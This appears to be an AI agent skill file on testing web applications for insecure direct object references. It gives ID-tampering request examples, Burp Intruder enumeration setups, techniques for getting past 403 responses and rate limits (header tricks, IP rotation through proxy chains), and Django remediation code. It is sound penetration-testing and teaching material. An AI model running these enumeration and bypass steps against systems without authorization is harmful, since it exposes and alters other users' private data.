---
name: idor-testing
description: "Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications."
risk: offensive
source: community
author: zebbern
date_added: "2026-02-27"
---

> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

# IDOR Vulnerability Testing

## Purpose

Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications. This skill covers both database object references and static file references, detection techniques using parameter manipulation and enumeration, exploitation via Burp Suite, and remediation strategies for securing applications against unauthorized access.

## Inputs / Prerequisites

- **Target Web Application**: URL of application with user-specific resources
- **Multiple User Accounts**: At least two test accounts to verify cross-user access
- **Burp Suite or Proxy Tool**: Intercepting proxy for request manipulation
- **Authorization**: Written permission for security testing
- **Understanding of Application Flow**: Knowledge of how objects are referenced (IDs, filenames)

## Outputs / Deliverables

- **IDOR Vulnerability Report**: Documentation of discovered access control bypasses
- **Proof of Concept**: Evidence of unauthorized data access across user contexts
- **Affected Endpoints**: List of vulnerable API endpoints and parameters
- **Impact Assessment**: Classification of data exposure severity
- **Remediation Recommendations**: Specific fixes for identified vulnerabilities

## Core Workflow

### 1. Understand IDOR Vulnerability Types

#### Direct Reference to Database Objects
Occurs when applications reference database records via user-controllable parameters:
```
# Original URL (authenticated as User A)
example.com/user/profile?id=2023

# Manipulation attempt (accessing User B's data)
example.com/user/profile?id=2022
```

#### Direct Reference to Static Files
Occurs when applications expose file paths or names that can be enumerated:
```
# Original URL (User A's receipt)
example.com/static/receipt/205.pdf

# Manipulation attempt (User B's receipt)
example.com/static/receipt/200.pdf
```

### 2. Reconnaissance and Setup

#### Create Multiple Test Accounts
```
Account 1: "attacker" - Primary testing account
Account 2: "victim" - Account whose data we attempt to access
```

#### Identify Object References
Capture and analyze requests containing:
- Numeric IDs in URLs: `/api/user/123`
- Numeric IDs in parameters: `?id=123&action=view`
- Numeric IDs in request body: `{"userId": 123}`
- File paths: `/download/receipt_123.pdf`
- GUIDs/UUIDs: `/profile/a1b2c3d4-e5f6-...`

#### Map User IDs
```
# Access user ID endpoint (if available)
GET /api/user-id/

# Note ID patterns:
# - Sequential integers (1, 2, 3...)
# - Auto-incremented values
# - Predictable patterns
```

### 3. Detection Techniques

#### URL Parameter Manipulation
```
# Step 1: Capture original authenticated request
GET /api/user/profile?id=1001 HTTP/1.1
Cookie: session=attacker_session

# Step 2: Modify ID to target another user
GET /api/user/profile?id=1000 HTTP/1.1
Cookie: session=attacker_session

# Vulnerable if: Returns victim's data with attacker's session
```

#### Request Body Manipulation
```
# Original POST request
POST /api/address/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session

{"id": 5, "userId": 1001, "address": "123 Attacker St"}

# Modified request targeting victim
{"id": 5, "userId": 1000, "address": "123 Attacker St"}
```

#### HTTP Method Switching
```
# Original GET request may be protected
GET /api/admin/users/1000 → 403 Forbidden

# Try alternative methods
POST /api/admin/users/1000 → 200 OK (Vulnerable!)
PUT /api/admin/users/1000 → 200 OK (Vulnerable!)
```

### 4. Exploitation with Burp Suite

#### Manual Exploitation
```
1. Configure browser proxy through Burp Suite
2. Login as "attacker" user
3. Navigate to profile/data page
4. Enable Intercept in Proxy tab
5. Capture request with user ID
6. Modify ID to victim's ID
7. Forward request
8. Observe response for victim's data
```

#### Automated Enumeration with Intruder
```
1. Send request to Intruder (Ctrl+I)
2. Clear all payload positions
3. Select ID parameter as payload position
4. Configure attack type: Sniper
5. Payload settings:
   - Type: Numbers
   - Range: 1 to 10000
   - Step: 1
6. Start attack
7. Analyze responses for 200 status codes
```

#### Battering Ram Attack for Multiple Positions
```
# When same ID appears in multiple locations
PUT /api/addresses/§5§/update HTTP/1.1

{"id": §5§, "userId": 3}

Attack Type: Battering Ram
Payload: Numbers 1-1000
```

### 5. Common IDOR Locations

#### API Endpoints
```
/api/user/{id}
/api/profile/{id}
/api/order/{id}
/api/invoice/{id}
/api/document/{id}
/api/message/{id}
/api/address/{id}/update
/api/address/{id}/delete
```

#### File Downloads
```
/download/invoice_{id}.pdf
/static/receipts/{id}.pdf
/uploads/documents/{filename}
/files/reports/report_{date}_{id}.xlsx
```

#### Query Parameters
```
?userId=123
?orderId=456
?documentId=789
?file=report_123.pdf
?account=user@email.com
```

## Quick Reference

### IDOR Testing Checklist

| Test | Method | Indicator of Vulnerability |
|------|--------|---------------------------|
| Increment/Decrement ID | Change `id=5` to `id=4` | Returns different user's data |
| Use Victim's ID | Replace with known victim ID | Access granted to victim's resources |
| Enumerate Range | Test IDs 1-1000 | Find valid records of other users |
| Negative Values | Test `id=-1` or `id=0` | Unexpected data or errors |
| Large Values | Test `id=99999999` | System information disclosure |
| String IDs | Change format `id=user_123` | Logic bypass |
| GUID Manipulation | Modify UUID portions | Predictable UUID patterns |

### Response Analysis

| Status Code | Interpretation |
|-------------|----------------|
| 200 OK | Potential IDOR - verify data ownership |
| 403 Forbidden | Access control working |
| 404 Not Found | Resource doesn't exist |
| 401 Unauthorized | Authentication required |
| 500 Error | Potential input validation issue |

### Common Vulnerable Parameters

| Parameter Type | Examples |
|----------------|----------|
| User identifiers | `userId`, `uid`, `user_id`, `account` |
| Resource identifiers | `id`, `pid`, `docId`, `fileId` |
| Order/Transaction | `orderId`, `transactionId`, `invoiceId` |
| Message/Communication | `messageId`, `threadId`, `chatId` |
| File references | `filename`, `file`, `document`, `path` |

## Constraints and Limitations

### Operational Boundaries
- Requires at least two valid user accounts for verification
- Some applications use session-bound tokens instead of IDs
- GUID/UUID references harder to enumerate but not impossible
- Rate limiting may restrict enumeration attempts
- Some IDOR requires chained vulnerabilities to exploit

### Detection Challenges
- Horizontal privilege escalation (user-to-user) vs vertical (user-to-admin)
- Blind IDOR where response doesn't confirm access
- Time-based IDOR in asynchronous operations
- IDOR in websocket communications

### Legal Requirements
- Only test applications with explicit authorization
- Document all testing activities and findings
- Do not access, modify, or exfiltrate real user data
- Report findings through proper disclosure channels

## Examples

### Example 1: Basic ID Parameter IDOR
```
# Login as attacker (userId=1001)
# Navigate to profile page

# Original request
GET /api/profile?id=1001 HTTP/1.1
Cookie: session=abc123

# Response: Attacker's profile data

# Modified request (targeting victim userId=1000)
GET /api/profile?id=1000 HTTP/1.1
Cookie: session=abc123

# Vulnerable Response: Victim's profile data returned!
```

### Example 2: IDOR in Address Update Endpoint
```
# Intercept address update request
PUT /api/addresses/5/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session

{
  "id": 5,
  "userId": 1001,
  "street": "123 Main St",
  "city": "Test City"
}

# Modify userId to victim's ID
{
  "id": 5,
  "userId": 1000,  # Changed from 1001
  "street": "Hacked Address",
  "city": "Exploit City"
}

# If 200 OK: Address created under victim's account
```

### Example 3: Static File IDOR
```
# Download own receipt
GET /api/download/5 HTTP/1.1
Cookie: session=attacker_session

# Response: PDF of attacker's receipt (order #5)

# Attempt to access other receipts
GET /api/download/3 HTTP/1.1
Cookie: session=attacker_session

# Vulnerable Response: PDF of victim's receipt (order #3)!
```

### Example 4: Burp Intruder Enumeration
```
# Configure Intruder attack
Target: PUT /api/addresses/§1§/update
Payload Position: Address ID in URL and body

Attack Configuration:
- Type: Battering Ram
- Payload: Numbers 0-20, Step 1

Body Template:
{
  "id": §1§,
  "userId": 3
}

# Analyze results:
# - 200 responses indicate successful modification
# - Check victim's account for new addresses
```

### Example 5: Horizontal to Vertical Escalation
```
# Step 1: Enumerate user roles
GET /api/user/1 → {"role": "user", "id": 1}
GET /api/user/2 → {"role": "user", "id": 2}
GET /api/user/3 → {"role": "admin", "id": 3}

# Step 2: Access admin functions with discovered ID
GET /api/admin/dashboard?userId=3 HTTP/1.1
Cookie: session=regular_user_session

# If accessible: Vertical privilege escalation achieved
```

## Troubleshooting

### Issue: All Requests Return 403 Forbidden
**Cause**: Server-side access control is implemented
**Solution**:
```
# Try alternative attack vectors:
1. HTTP method switching (GET → POST → PUT)
2. Add X-Original-URL or X-Rewrite-URL headers
3. Try parameter pollution: ?id=1001&id=1000
4. URL encoding variations: %31%30%30%30 for "1000"
5. Case variations for string IDs
```

### Issue: Application Uses UUIDs Instead of Sequential IDs
**Cause**: Randomized identifiers reduce enumeration risk
**Solution**:
```
# UUID discovery techniques:
1. Check response bodies for leaked UUIDs
2. Search JavaScript files for hardcoded UUIDs
3. Check API responses that list multiple objects
4. Look for UUID patterns in error messages
5. Try UUID v1 (time-based) prediction if applicable
```

### Issue: Session Token Bound to User
**Cause**: Application validates session against requested resource
**Solution**:
```
# Advanced bypass attempts:
1. Test for IDOR in unauthenticated endpoints
2. Check password reset/email verification flows
3. Look for IDOR in file upload/download
4. Test API versioning: /api/v1/ vs /api/v2/
5. Check mobile API endpoints (often less protected)
```

### Issue: Rate Limiting Blocks Enumeration
**Cause**: Application implements request throttling
**Solution**:
```
# Bypass techniques:
1. Add delays between requests (Burp Intruder throttle)
2. Rotate IP addresses (proxy chains)
3. Target specific high-value IDs instead of full range
4. Use different endpoints for same resources
5. Test during off-peak hours
```

### Issue: Cannot Verify IDOR Impact
**Cause**: Response doesn't clearly indicate data ownership
**Solution**:
```
# Verification methods:
1. Create unique identifiable data in victim account
2. Look for PII markers (name, email) in responses
3. Compare response lengths between users
4. Check for timing differences in responses
5. Use secondary indicators (creation dates, metadata)
```

## Remediation Guidance

### Implement Proper Access Control
```python
# Django example - validate ownership
def update_address(request, address_id):
    address = Address.objects.get(id=address_id)
    
    # Verify ownership before allowing update
    if address.user != request.user:
        return HttpResponseForbidden("Unauthorized")
    
    # Proceed with update
    address.update(request.data)
```

### Use Indirect References
```python
# Instead of: /api/address/123
# Use: /api/address/current-user/billing

def get_address(request):
    # Always filter by authenticated user
    address = Address.objects.filter(user=request.user).first()
    return address
```

### Server-Side Validation
```python
# Always validate on server, never trust client input
def download_receipt(request, receipt_id):
    receipt = Receipt.objects.filter(
        id=receipt_id,
        user=request.user  # Critical: filter by current user
    ).first()
    
    if not receipt:
        return HttpResponseNotFound()
    
    return FileResponse(receipt.file)
```

## When to Use
This skill is applicable to execute the workflow or actions described in the overview.
